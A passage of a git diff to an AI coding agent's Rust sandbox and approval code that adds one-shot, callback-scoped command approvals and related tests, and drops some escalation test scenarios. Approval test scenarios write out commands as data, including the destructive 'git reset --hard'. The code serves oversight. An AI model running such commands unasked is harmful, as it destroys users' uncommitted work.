Arc::new(ImmediateHandler { + tool_name: tool_name.clone(), + }) as Arc; + let step_context = StepContext::for_test(Arc::clone(&turn_context)); + let router = Arc::new(ToolRouter::from_parts( + ToolRegistry::from_tools([handler]), + Vec::new(), + )); + let tracker = Arc::new(tokio::sync::Mutex::new(TurnDiffTracker::new())); + let runtime = ToolCallRuntime::new(router, session, step_context, tracker); + let execution_gate = Arc::clone(&runtime.parallel_execution); + let execution_gate_guard = execution_gate + .try_write_owned() + .expect("execution gate should be available before dispatch starts"); + let (release_execution_gate_tx, release_execution_gate_rx) = std::sync::mpsc::channel(); + let execution_gate_task = tokio::task::spawn_blocking(move || { + let _execution_gate_guard = execution_gate_guard; + release_execution_gate_rx + .recv() + .expect("test should release the execution gate"); + }); + + let buffer: &'static std::sync::Mutex> = + Box::leak(Box::new(std::sync::Mutex::new(Vec::new()))); + let subscriber = tracing_subscriber::fmt() + .with_ansi(false) + .with_max_level(tracing::Level::INFO) + .with_writer(MockWriter::new(buffer)) + .finish(); + let _subscriber_guard = tracing::subscriber::set_default(subscriber); + + let cancellation_token = CancellationToken::new(); + let call = ToolCall { + tool_name, + call_id: "call-1".to_string(), + payload: ToolPayload::Function { + arguments: "{}".to_string(), + }, + }; + let response_task = + tokio::spawn(runtime.handle_tool_call(call, cancellation_token.clone())); + cancellation_token.cancel(); + tokio::time::timeout(Duration::from_secs(1), response_task) + .await + .expect("timed out waiting for cancelled tool response") + .expect("cancelled tool response task should join") + .expect("cancelled tool call should produce a response"); + + let logs = String::from_utf8( + buffer + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .clone(), + )?; + let timing_events = logs + .lines() + .filter(|line| line.contains("event.name=\"codex.tool_call\"")) + .collect::>(); + assert_eq!( + timing_events.len(), + 1, + "cancelled tool call should emit exactly one timing event; logs:\n{logs}" + ); + let timing_event = timing_events[0]; + assert!( + timing_event.contains("execution_started=false"), + "tool cancelled before admission should not report execution started: {timing_event}" + ); + assert!( + timing_event.contains("handler_duration_ms=0"), + "tool cancelled before admission should report zero handler duration: {timing_event}" + ); + let duration_field = |name: &str| { + timing_event.split_whitespace().find_map(|field| { + field + .strip_prefix(&format!("{name}=")) + .and_then(|value| value.parse::().ok()) + }) + }; + let dispatch_duration_ms = duration_field("dispatch_duration_ms") + .expect("timing event should include dispatch_duration_ms"); + let total_duration_ms = duration_field("total_duration_ms") + .expect("timing event should include total_duration_ms"); + assert_eq!( + dispatch_duration_ms, total_duration_ms, + "tool cancelled before admission should attribute all elapsed time to dispatch: {timing_event}" + ); + release_execution_gate_tx + .send(()) + .expect("execution gate task should remain available"); + execution_gate_task + .await + .expect("execution gate task should join"); + + Ok(()) + } struct ImmediateHandler { tool_name: codex_tools::ToolName, diff --git a/codex-rs/core/src/tools/runtimes/shell.rs b/codex-rs/core/src/tools/runtimes/shell.rs index 0d386103db..6e5b12bf4d 100644 --- a/codex-rs/core/src/tools/runtimes/shell.rs +++ b/codex-rs/core/src/tools/runtimes/shell.rs @@ -127,6 +127,9 @@ impl Approvable for ShellRuntime { type ApprovalKey = ApprovalKey; fn approval_keys(&self, req: &ShellRequest) -> Vec { + if req.exec_approval_requirement.is_one_shot() { + return Vec::new(); + } vec![ApprovalKey { environment_id: req.turn_environment.environment_id.clone(), command: canonicalize_command_for_approval(&req.command), @@ -141,7 +144,15 @@ impl Approvable for ShellRuntime { req: &'a ShellRequest, ctx: ApprovalCtx<'a>, ) -> BoxFuture<'a, ReviewDecision> { - let keys = self.approval_keys(req); + // A callback-scoped prompt represents new authority for one concrete + // phase, such as an unsandboxed retry. It must not reuse or populate + // the command's session approval cache. + let single_use = req.exec_approval_requirement.is_one_shot() || ctx.approval_id.is_some(); + let keys = if single_use { + Vec::new() + } else { + self.approval_keys(req) + }; let command = req.command.clone(); let cwd = req.cwd.clone(); let environment_id = Some(req.turn_environment.environment_id.clone()); @@ -150,7 +161,10 @@ impl Approvable for ShellRuntime { let session = ctx.session; let turn = ctx.turn; let call_id = ctx.call_id.to_string(); + let approval_id = ctx.approval_id.clone(); + let approval_purpose = ctx.approval_purpose; let guardian_review_id = ctx.guardian_review_id.clone(); + let network_approval_context = ctx.network_approval_context.clone(); Box::pin(async move { if let Some(review_id) = guardian_review_id { return review_approval_request( @@ -170,17 +184,19 @@ impl Approvable for ShellRuntime { .await; } with_cached_approval(&session.services, "shell", keys, move || async move { - let available_decisions = None; + let available_decisions = + single_use.then(|| vec![ReviewDecision::Approved, ReviewDecision::Abort]); session .request_command_approval( turn, call_id, - /*approval_id*/ None, + approval_id, + Some(approval_purpose), environment_id, command, cwd, reason, - ctx.network_approval_context.clone(), + network_approval_context, req.exec_approval_requirement .proposed_execpolicy_amendment() .cloned(), diff --git a/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs b/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs index 10cb460205..d5523ad0ab 100644 --- a/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs +++ b/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs @@ -41,6 +41,7 @@ use codex_protocol::models::PermissionProfile; use codex_protocol::permissions::FileSystemSandboxPolicy; use codex_protocol::permissions::NetworkSandboxPolicy; use codex_protocol::protocol::AskForApproval; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::GuardianCommandSource; use codex_protocol::protocol::NetworkPolicyRuleAction; use codex_protocol::protocol::ReviewDecision; @@ -519,6 +520,7 @@ impl CoreShellActionProvider { &turn, call_id, approval_id, + Some(ExecApprovalPurpose::Execve), environment_id, command, workdir.clone(), diff --git a/codex-rs/core/src/tools/runtimes/shell_tests.rs b/codex-rs/core/src/tools/runtimes/shell_tests.rs index eaa7adf48c..8d7527f2b9 100644 --- a/codex-rs/core/src/tools/runtimes/shell_tests.rs +++ b/codex-rs/core/src/tools/runtimes/shell_tests.rs @@ -1,7 +1,44 @@ use super::*; +use crate::state::ActiveTurn; use codex_exec_server::Environment; +use codex_protocol::protocol::EventMsg; +use codex_protocol::protocol::ExecApprovalPurpose; +use codex_protocol::protocol::NetworkApprovalContext; +use codex_protocol::protocol::NetworkApprovalProtocol; use codex_utils_path_uri::PathUri; use std::sync::Arc; +use std::time::Duration; +use tokio::time::timeout; + +fn one_shot_request() -> ShellRequest { + let cwd = AbsolutePathBuf::try_from(std::env::current_dir().expect("read current dir")) + .expect("current dir is absolute"); + ShellRequest { + command: vec!["echo".to_string(), "one shot".to_string()], + turn_environment: TurnEnvironment::new( + "remote".to_string(), + Arc::new(Environment::default_for_tests()), + PathUri::from_abs_path(&cwd), + /*shell*/ None, + ), + shell_type: None, + hook_command: "echo 'one shot'".to_string(), + cwd, + timeout_ms: None, + cancellation_token: CancellationToken::new(), + env: HashMap::new(), + explicit_env_overrides: HashMap::new(), + network: None, + sandbox_permissions: SandboxPermissions::UseDefault, + additional_permissions: None, + #[cfg(unix)] + additional_permissions_preapproved: false, + justification: None, + exec_approval_requirement: ExecApprovalRequirement::NeedsOneShotApproval { + reason: Some("one run only".to_string()), + }, + } +} #[tokio::test] async fn approval_key_includes_environment_id() { @@ -40,3 +77,126 @@ async fn approval_key_includes_environment_id() { assert_ne!(original_key, other_key); } + +#[tokio::test] +async fn one_shot_approval_has_no_session_cache_key() { + let request = one_shot_request(); + let runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic); + + assert!(runtime.approval_keys(&request).is_empty()); +} + +#[tokio::test] +async fn one_shot_approval_routes_by_callback_id() { + let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let mut runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic); + let request = one_shot_request(); + let call_id = "command-item"; + let approval_id = "retry-callback"; + let approval = runtime.start_approval_async( + &request, + ApprovalCtx { + session: &session, + turn: &turn, + call_id, + approval_id: Some(approval_id.to_string()), + approval_purpose: ExecApprovalPurpose::SandboxRetry, + guardian_review_id: None, + retry_reason: Some("sandbox denied".to_string()), + network_approval_context: None, + }, + ); + let respond = async { + let event = events.recv().await.expect("approval event"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval"); + }; + assert_eq!(event.call_id, call_id); + assert_eq!(event.approval_id.as_deref(), Some(approval_id)); + assert_eq!( + event.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + assert_eq!( + event.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(approval_id, ReviewDecision::Approved) + .await; + }; + + let (decision, ()) = tokio::join!(approval, respond); + assert_eq!(decision, ReviewDecision::Approved); +} + +#[tokio::test] +async fn callback_scoped_retry_ignores_session_cache() { + let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let mut runtime = ShellRuntime::for_shell_command(ShellRuntimeBackend::ShellCommandClassic); + let mut request = one_shot_request(); + request.exec_approval_requirement = ExecApprovalRequirement::NeedsApproval { + reason: Some("initial approval".to_string()), + proposed_execpolicy_amendment: None, + }; + let keys = runtime.approval_keys(&request); + assert_eq!(keys.len(), 1); + { + let mut store = session.services.tool_approvals.lock().await; + for key in keys { + store.put(key, ReviewDecision::ApprovedForSession); + } + } + + let call_id = "cached-command-item"; + let approval_id = "network-retry-callback"; + let network_approval_context = NetworkApprovalContext { + host: "new-authority.example".to_string(), + protocol: NetworkApprovalProtocol::Https, + }; + let approval = runtime.start_approval_async( + &request, + ApprovalCtx { + session: &session, + turn: &turn, + call_id, + approval_id: Some(approval_id.to_string()), + approval_purpose: ExecApprovalPurpose::SandboxRetry, + guardian_review_id: None, + retry_reason: Some("network denied".to_string()), + network_approval_context: Some(network_approval_context.clone()), + }, + ); + let respond = async { + let event = events.recv().await.expect("approval event"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval"); + }; + assert_eq!(event.call_id, call_id); + assert_eq!(event.approval_id.as_deref(), Some(approval_id)); + assert_eq!( + event.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + assert_eq!( + event.network_approval_context, + Some(network_approval_context) + ); + assert_eq!( + event.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(approval_id, ReviewDecision::Approved) + .await; + }; + + let (decision, ()) = timeout(Duration::from_secs(1), async { + tokio::join!(approval, respond) + }) + .await + .expect("cached command authority must not skip the retry callback"); + assert_eq!(decision, ReviewDecision::Approved); +} diff --git a/codex-rs/core/src/tools/runtimes/unified_exec.rs b/codex-rs/core/src/tools/runtimes/unified_exec.rs index 5df42cc979..00868b7d4d 100644 --- a/codex-rs/core/src/tools/runtimes/unified_exec.rs +++ b/codex-rs/core/src/tools/runtimes/unified_exec.rs @@ -158,6 +158,9 @@ impl Approvable for UnifiedExecRuntime<'_> { type ApprovalKey = UnifiedExecApprovalKey; fn approval_keys(&self, req: &UnifiedExecRequest) -> Vec { + if req.exec_approval_requirement.is_one_shot() { + return Vec::new(); + } vec![UnifiedExecApprovalKey { environment_id: req.turn_environment.environment_id.clone(), command: canonicalize_command_for_approval(&req.command), @@ -173,15 +176,26 @@ impl Approvable for UnifiedExecRuntime<'_> { req: &'b UnifiedExecRequest, ctx: ApprovalCtx<'b>, ) -> BoxFuture<'b, ReviewDecision> { - let keys = self.approval_keys(req); + // A callback-scoped prompt represents new authority for one concrete + // phase, such as an unsandboxed retry. It must not reuse or populate + // the command's session approval cache. + let single_use = req.exec_approval_requirement.is_one_shot() || ctx.approval_id.is_some(); + let keys = if single_use { + Vec::new() + } else { + self.approval_keys(req) + }; let session = ctx.session; let turn = ctx.turn; let call_id = ctx.call_id.to_string(); + let approval_id = ctx.approval_id.clone(); + let approval_purpose = ctx.approval_purpose; let command = req.command.clone(); let environment_id = Some(req.turn_environment.environment_id.clone()); let retry_reason = ctx.retry_reason.clone(); let reason = retry_reason.clone().or_else(|| req.justification.clone()); let guardian_review_id = ctx.guardian_review_id.clone(); + let network_approval_context = ctx.network_approval_context.clone(); Box::pin(async move { let native_cwd = match req.cwd.to_abs_path() { Ok(c) => c, @@ -211,17 +225,19 @@ impl Approvable for UnifiedExecRuntime<'_> { .await; } with_cached_approval(&session.services, "unified_exec", keys, || async move { - let available_decisions = None; + let available_decisions = + single_use.then(|| vec![ReviewDecision::Approved, ReviewDecision::Abort]); session .request_command_approval( turn, call_id, - /*approval_id*/ None, + approval_id, + Some(approval_purpose), environment_id, command, native_cwd, reason, - ctx.network_approval_context.clone(), + network_approval_context, req.exec_approval_requirement .proposed_execpolicy_amendment() .cloned(), @@ -491,15 +507,21 @@ impl<'a> ToolRuntime for UnifiedExecRunt mod tests { use super::*; use crate::exec::DEFAULT_EXEC_COMMAND_TIMEOUT_MS; + use crate::state::ActiveTurn; use crate::tools::sandboxing::ToolRuntime; use codex_exec_server::Environment; use codex_exec_server::LOCAL_ENVIRONMENT_ID; + use codex_protocol::protocol::EventMsg; + use codex_protocol::protocol::ExecApprovalPurpose; + use codex_protocol::protocol::NetworkApprovalContext; + use codex_protocol::protocol::NetworkApprovalProtocol; use codex_tools::ZshForkConfig; use codex_utils_absolute_path::AbsolutePathBuf; use codex_utils_path_uri::PathUri; use std::sync::Arc; use std::time::Duration; use tempfile::tempdir; + use tokio::time::timeout; fn test_turn_environment(cwd: PathUri) -> TurnEnvironment { TurnEnvironment::new( @@ -551,6 +573,146 @@ mod tests { assert_ne!(original_key, other_key); } + #[tokio::test] + async fn one_shot_approval_has_no_session_cache_key() { + let manager = UnifiedExecProcessManager::default(); + let runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct); + let request = test_request( + SandboxPermissions::UseDefault, + ExecApprovalRequirement::NeedsOneShotApproval { + reason: Some("one run only".to_string()), + }, + ); + + assert!(runtime.approval_keys(&request).is_empty()); + } + + #[tokio::test] + async fn one_shot_approval_routes_by_callback_id() { + let (session, turn, events) = + crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let manager = UnifiedExecProcessManager::default(); + let mut runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct); + let request = test_request( + SandboxPermissions::UseDefault, + ExecApprovalRequirement::NeedsOneShotApproval { + reason: Some("one run only".to_string()), + }, + ); + let call_id = "command-item"; + let approval_id = "retry-callback"; + let approval = runtime.start_approval_async( + &request, + ApprovalCtx { + session: &session, + turn: &turn, + call_id, + approval_id: Some(approval_id.to_string()), + approval_purpose: ExecApprovalPurpose::SandboxRetry, + guardian_review_id: None, + retry_reason: Some("sandbox denied".to_string()), + network_approval_context: None, + }, + ); + let respond = async { + let event = events.recv().await.expect("approval event"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval"); + }; + assert_eq!(event.call_id, call_id); + assert_eq!(event.approval_id.as_deref(), Some(approval_id)); + assert_eq!( + event.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + assert_eq!( + event.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(approval_id, ReviewDecision::Approved) + .await; + }; + + let (decision, ()) = tokio::join!(approval, respond); + assert_eq!(decision, ReviewDecision::Approved); + } + + #[tokio::test] + async fn callback_scoped_retry_ignores_session_cache() { + let (session, turn, events) = + crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let manager = UnifiedExecProcessManager::default(); + let mut runtime = UnifiedExecRuntime::new(&manager, UnifiedExecShellMode::Direct); + let request = test_request( + SandboxPermissions::UseDefault, + ExecApprovalRequirement::NeedsApproval { + reason: Some("initial approval".to_string()), + proposed_execpolicy_amendment: None, + }, + ); + let keys = runtime.approval_keys(&request); + assert_eq!(keys.len(), 1); + { + let mut store = session.services.tool_approvals.lock().await; + for key in keys { + store.put(key, ReviewDecision::ApprovedForSession); + } + } + + let call_id = "cached-command-item"; + let approval_id = "network-retry-callback"; + let network_approval_context = NetworkApprovalContext { + host: "new-authority.example".to_string(), + protocol: NetworkApprovalProtocol::Https, + }; + let approval = runtime.start_approval_async( + &request, + ApprovalCtx { + session: &session, + turn: &turn, + call_id, + approval_id: Some(approval_id.to_string()), + approval_purpose: ExecApprovalPurpose::SandboxRetry, + guardian_review_id: None, + retry_reason: Some("network denied".to_string()), + network_approval_context: Some(network_approval_context.clone()), + }, + ); + let respond = async { + let event = events.recv().await.expect("approval event"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval"); + }; + assert_eq!(event.call_id, call_id); + assert_eq!(event.approval_id.as_deref(), Some(approval_id)); + assert_eq!( + event.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + assert_eq!( + event.network_approval_context, + Some(network_approval_context) + ); + assert_eq!( + event.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(approval_id, ReviewDecision::Approved) + .await; + }; + + let (decision, ()) = timeout(Duration::from_secs(1), async { + tokio::join!(approval, respond) + }) + .await + .expect("cached command authority must not skip the retry callback"); + assert_eq!(decision, ReviewDecision::Approved); + } + #[tokio::test] async fn unified_exec_uses_the_trusted_sandbox_cwd() { let cwd_dir = tempdir().expect("create process temp dir"); diff --git a/codex-rs/core/src/tools/sandboxing.rs b/codex-rs/core/src/tools/sandboxing.rs index 8e9e274f24..0a22aa2995 100644 --- a/codex-rs/core/src/tools/sandboxing.rs +++ b/codex-rs/core/src/tools/sandboxing.rs @@ -19,6 +19,7 @@ use codex_protocol::error::CodexErr; use codex_protocol::permissions::FileSystemSandboxKind; use codex_protocol::permissions::FileSystemSandboxPolicy; use codex_protocol::protocol::AskForApproval; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::ReviewDecision; use codex_sandboxing::SandboxCommand; use codex_sandboxing::SandboxManager; @@ -81,9 +82,19 @@ where F: FnOnce() -> Fut, Fut: Future, { - // To be defensive here, don't bother with checking the cache if keys are empty. + // Empty keys deliberately make this request one-shot: ask and record the + // decision, but neither consult nor populate the session cache. if keys.is_empty() { - return fetch().await; + let decision = fetch().await; + services.session_telemetry.counter( + "codex.approval.requested", + /*inc*/ 1, + &[ + ("tool", tool_name), + ("approved", decision.to_opaque_string()), + ], + ); + return decision; } let already_approved = { @@ -122,6 +133,12 @@ pub(crate) struct ApprovalCtx<'a> { pub session: &'a Arc, pub turn: &'a Arc, pub call_id: &'a str, + /// Identifies this specific approval prompt when a tool item can prompt + /// more than once (for example, an unsandboxed retry). + pub approval_id: Option, + /// Describes why this callback is being emitted independently of display + /// text or whether it carries a callback-specific ID. + pub approval_purpose: ExecApprovalPurpose, /// Guardian review lifecycle ID for this approval, when guardian is reviewing it. /// /// This is separate from `call_id`: `call_id` identifies the tool item under @@ -176,6 +193,10 @@ pub(crate) enum ExecApprovalRequirement { /// See core/src/exec_policy.rs for more details on how proposed_execpolicy_amendment is determined. proposed_execpolicy_amendment: Option, }, + /// Approval is required for this invocation, but the decision must not be + /// reused from or written to the session approval cache. + #[cfg_attr(not(windows), allow(dead_code))] + NeedsOneShotApproval { reason: Option }, /// Execution forbidden for this tool call. Forbidden { reason: String }, } @@ -194,6 +215,10 @@ impl ExecApprovalRequirement { _ => None, } } + + pub(crate) fn is_one_shot(&self) -> bool { + matches!(self, Self::NeedsOneShotApproval { .. }) + } } /// - Never: do not ask diff --git a/codex-rs/core/src/unified_exec/mod.rs b/codex-rs/core/src/unified_exec/mod.rs index 62945fecc8..34d88c8149 100644 --- a/codex-rs/core/src/unified_exec/mod.rs +++ b/codex-rs/core/src/unified_exec/mod.rs @@ -107,7 +107,6 @@ pub(crate) struct ExecCommandRequest { pub additional_permissions_preapproved: bool, pub justification: Option, pub prefix_rule: Option>, - pub input_source: crate::exec_policy::ExecPolicyInputSource, } #[derive(Debug)] diff --git a/codex-rs/core/src/unified_exec/process_manager.rs b/codex-rs/core/src/unified_exec/process_manager.rs index 81eb6b6120..ef22918cd2 100644 --- a/codex-rs/core/src/unified_exec/process_manager.rs +++ b/codex-rs/core/src/unified_exec/process_manager.rs @@ -1145,7 +1145,6 @@ impl UnifiedExecProcessManager { request.sandbox_permissions }, prefix_rule: request.prefix_rule.clone(), - input_source: request.input_source, }) .await; let req = UnifiedExecToolRequest { diff --git a/codex-rs/core/src/unified_exec/process_manager_tests.rs b/codex-rs/core/src/unified_exec/process_manager_tests.rs index 4d158c5232..096cbe0a13 100644 --- a/codex-rs/core/src/unified_exec/process_manager_tests.rs +++ b/codex-rs/core/src/unified_exec/process_manager_tests.rs @@ -292,7 +292,6 @@ async fn failed_initial_end_for_unstored_process_uses_fallback_output() { additional_permissions_preapproved: false, justification: None, prefix_rule: None, - input_source: crate::exec_policy::ExecPolicyInputSource::Configured, }; let transcript = Arc::new(tokio::sync::Mutex::new(HeadTailBuffer::default())); diff --git a/codex-rs/core/tests/suite/approvals.rs b/codex-rs/core/tests/suite/approvals.rs index 2408e22222..cc33286f16 100644 --- a/codex-rs/core/tests/suite/approvals.rs +++ b/codex-rs/core/tests/suite/approvals.rs @@ -119,7 +119,6 @@ enum ActionKind { }, RunUnifiedExecCommand { command: &'static str, - shell: Option<&'static str>, justification: Option<&'static str>, }, ApplyPatchFreeform { @@ -269,7 +268,6 @@ impl ActionKind { } ActionKind::RunUnifiedExecCommand { command, - shell, justification, } => { let event = exec_command_event( @@ -277,7 +275,6 @@ impl ActionKind { command, Some(1000), sandbox_permissions, - *shell, *justification, )?; Ok((event, Some(command.to_string()))) @@ -359,7 +356,6 @@ fn exec_command_event( cmd: &str, yield_time_ms: Option, sandbox_permissions: SandboxPermissions, - shell: Option<&str>, justification: Option<&str>, ) -> Result { let mut args = json!({ @@ -368,9 +364,6 @@ fn exec_command_event( if let Some(yield_time_ms) = yield_time_ms { args["yield_time_ms"] = json!(yield_time_ms); } - if let Some(shell) = shell { - args["shell"] = json!(shell); - } if sandbox_permissions.requests_sandbox_override() { args["sandbox_permissions"] = json!(sandbox_permissions); let reason = justification.unwrap_or(DEFAULT_UNIFIED_EXEC_JUSTIFICATION); @@ -1052,27 +1045,12 @@ fn scenarios() -> Vec { outcome: Outcome::ExecApprovalWithAmendment { decision: ReviewDecision::Denied, expected_reason: None, - expected_execpolicy_amendment: None, + expected_execpolicy_amendment: Some(&["echo", "known-safe-escalation"]), }, expectation: Expectation::CommandFailure { output_contains: "rejected by user", }, }, - ScenarioSpec { - name: "known_safe_escalation_unless_trusted_rejects", - approval_policy: UnlessTrusted, - sandbox_policy: workspace_write(false), - action: ActionKind::RunCommand { - command: "echo known-safe-escalation-unless-trusted", - }, - sandbox_permissions: SandboxPermissions::RequireEscalated, - features: vec![], - model_override: Some("gpt-5.2"), - outcome: Outcome::Auto, - expectation: Expectation::CommandFailure { - output_contains: "you should not ask for escalated permissions", - }, - }, ScenarioSpec { name: "known_safe_escalation_granular_sandbox_disabled_rejects", approval_policy: Granular(GranularApprovalConfig { @@ -1723,7 +1701,6 @@ fn scenarios() -> Vec { sandbox_policy: SandboxPolicy::DangerFullAccess, action: ActionKind::RunUnifiedExecCommand { command: "echo \"hello unified exec\"", - shell: None, justification: None, }, sandbox_permissions: SandboxPermissions::UseDefault, @@ -1742,7 +1719,6 @@ fn scenarios() -> Vec { sandbox_policy: SandboxPolicy::new_read_only_policy(), action: ActionKind::RunUnifiedExecCommand { command: "python3 -c 'print('\"'\"'escalated unified exec'\"'\"')'", - shell: None, justification: Some(DEFAULT_UNIFIED_EXEC_JUSTIFICATION), }, sandbox_permissions: SandboxPermissions::RequireEscalated, @@ -1762,7 +1738,6 @@ fn scenarios() -> Vec { sandbox_policy: SandboxPolicy::DangerFullAccess, action: ActionKind::RunUnifiedExecCommand { command: "git reset --hard", - shell: None, justification: None, }, sandbox_permissions: SandboxPermissions::UseDefault, @@ -1782,7 +1757,6 @@ fn scenarios() -> Vec { sandbox_policy: workspace_write(false), action: ActionKind::RunUnifiedExecCommand { command: "cat <<'EOF' > /tmp/out.txt \nhello\nEOF", - shell: None, justification: None, }, sandbox_permissions: SandboxPermissions::RequireEscalated, @@ -1802,7 +1776,6 @@ fn scenarios() -> Vec { sandbox_policy: workspace_write(false), action: ActionKind::RunUnifiedExecCommand { command: "cat ./one.txt && touch ./two.txt", - shell: None, justification: None, }, sandbox_permissions: SandboxPermissions::RequireEscalated, @@ -1816,27 +1789,6 @@ fn scenarios() -> Vec { output_contains: "rejected by user", }, }, - ScenarioSpec { - name: "model selected path shell cannot inherit safe inner command", - approval_policy: AskForApproval::UnlessTrusted, - sandbox_policy: workspace_write(false), - action: ActionKind::RunUnifiedExecCommand { - command: "ls", - shell: Some("/tmp/workspace/bash"), - justification: None, - }, - sandbox_permissions: SandboxPermissions::UseDefault, - features: vec![Feature::UnifiedExec], - model_override: Some("gpt-5.2"), - outcome: Outcome::ExecApprovalWithAmendment { - decision: ReviewDecision::Denied, - expected_reason: None, - expected_execpolicy_amendment: None, - }, - expectation: Expectation::CommandFailure { - output_contains: "rejected by user", - }, - }, ] } @@ -2172,6 +2124,149 @@ async fn approving_apply_patch_for_session_skips_future_prompts_for_same_file() Ok(()) } +#[tokio::test(flavor = "current_thread")] +#[cfg(unix)] +async fn exec_approval_cannot_resolve_patch_approval() -> Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let approval_policy = AskForApproval::UnlessTrusted; + let sandbox_policy = SandboxPolicy::DangerFullAccess; + let sandbox_policy_for_config = sandbox_policy.clone(); + + let mut builder = test_codex() + .with_model("gpt-5.4") + .with_config(move |config| { + config.permissions.approval_policy = Constrained::allow_any(approval_policy); + config + .set_legacy_sandbox_policy(sandbox_policy_for_config) + .expect("set sandbox policy"); + config.approvals_reviewer = ApprovalsReviewer::User; + }); + let test = builder.build(&server).await?; + + let target = TargetPath::OutsideWorkspace("apply_patch_reject_exec_response.txt"); + let (path, patch_path) = target.resolve_for_patch(&test); + let _path_cleanup = tempfile::TempPath::try_from_path(path.clone())?; + let _ = fs::remove_file(&path); + let patch = build_add_file_patch(&patch_path, "approved by patch response"); + let call_id = "apply_patch_reject_exec_response"; + + let _ = mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-1"), + ev_apply_patch_custom_tool_call(call_id, &patch), + ev_completed("resp-1"), + ]), + ) + .await; + let _ = mount_sse_once( + &server, + sse(vec![ + ev_assistant_message("msg-1", "done"), + ev_completed("resp-2"), + ]), + ) + .await; + + submit_turn( + &test, + "apply patch with typed approval", + approval_policy, + sandbox_policy, + ) + .await?; + let approval = expect_patch_approval(&test, call_id).await; + + test.codex + .submit(Op::ExecApproval { + id: approval.call_id.clone(), + turn_id: None, + decision: ReviewDecision::Approved, + }) + .await?; + test.codex + .submit(Op::PatchApproval { + id: approval.call_id, + decision: ReviewDecision::Approved, + }) + .await?; + + wait_for_completion(&test).await; + assert_eq!(fs::read_to_string(&path)?, "approved by patch response\n"); + + Ok(()) +} + +#[tokio::test(flavor = "current_thread")] +#[cfg(unix)] +async fn patch_approval_cannot_resolve_exec_approval() -> Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let approval_policy = AskForApproval::OnRequest; + let sandbox_policy = SandboxPolicy::new_read_only_policy(); + let mut builder = test_codex(); + let test = builder.build(&server).await?; + let call_id = "exec_reject_patch_response"; + let target = test.config.cwd.join("exec_reject_patch_response.txt"); + let _target_cleanup = tempfile::TempPath::try_from_path(target.clone())?; + let command = "touch exec_reject_patch_response.txt"; + + let event = shell_event( + call_id, + command, + /*timeout_ms*/ 1_000, + SandboxPermissions::RequireEscalated, + )?; + let _ = mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-1"), + event, + ev_completed("resp-1"), + ]), + ) + .await; + let _ = mount_sse_once( + &server, + sse(vec![ + ev_assistant_message("msg-1", "done"), + ev_completed("resp-2"), + ]), + ) + .await; + + submit_turn( + &test, + "run command with typed approval", + approval_policy, + sandbox_policy, + ) + .await?; + let approval = expect_exec_approval(&test, command).await; + + test.codex + .submit(Op::PatchApproval { + id: approval.effective_approval_id(), + decision: ReviewDecision::Approved, + }) + .await?; + test.codex + .submit(Op::ExecApproval { + id: approval.effective_approval_id(), + turn_id: None, + decision: ReviewDecision::Approved, + }) + .await?; + + wait_for_completion(&test).await; + assert!(target.exists()); + + Ok(()) +} + #[tokio::test(flavor = "current_thread")] #[cfg(unix)] async fn approving_execpolicy_amendment_persists_policy_and_skips_future_prompts() -> Result<()> { @@ -3116,7 +3211,7 @@ exec {remote_bash_exec} "$@" #[tokio::test(flavor = "current_thread")] #[cfg(unix)] -async fn sandbox_override_with_invalid_prefix_rule_does_not_propose_an_amendment() -> Result<()> { +async fn invalid_requested_prefix_rule_falls_back_for_compound_command() -> Result<()> { let server = start_mock_server().await; let approval_policy = AskForApproval::OnRequest; let sandbox_policy = SandboxPolicy::new_read_only_policy(); @@ -3159,14 +3254,17 @@ async fn sandbox_override_with_invalid_prefix_rule_does_not_propose_an_amendment .await?; let approval = expect_exec_approval(&test, command).await; - assert_eq!(approval.proposed_execpolicy_amendment, None); + let amendment = approval + .proposed_execpolicy_amendment + .expect("should have a proposed execpolicy amendment"); + assert!(amendment.command.contains(&command.to_string())); Ok(()) } #[tokio::test(flavor = "current_thread")] #[cfg(unix)] -async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result<()> { +async fn approving_fallback_rule_for_compound_command_works() -> Result<()> { let server = start_mock_server().await; let approval_policy = AskForApproval::OnRequest; let sandbox_policy = SandboxPolicy::new_read_only_policy(); @@ -3210,13 +3308,18 @@ async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result let approval = expect_exec_approval(&test, command).await; let approval_id = 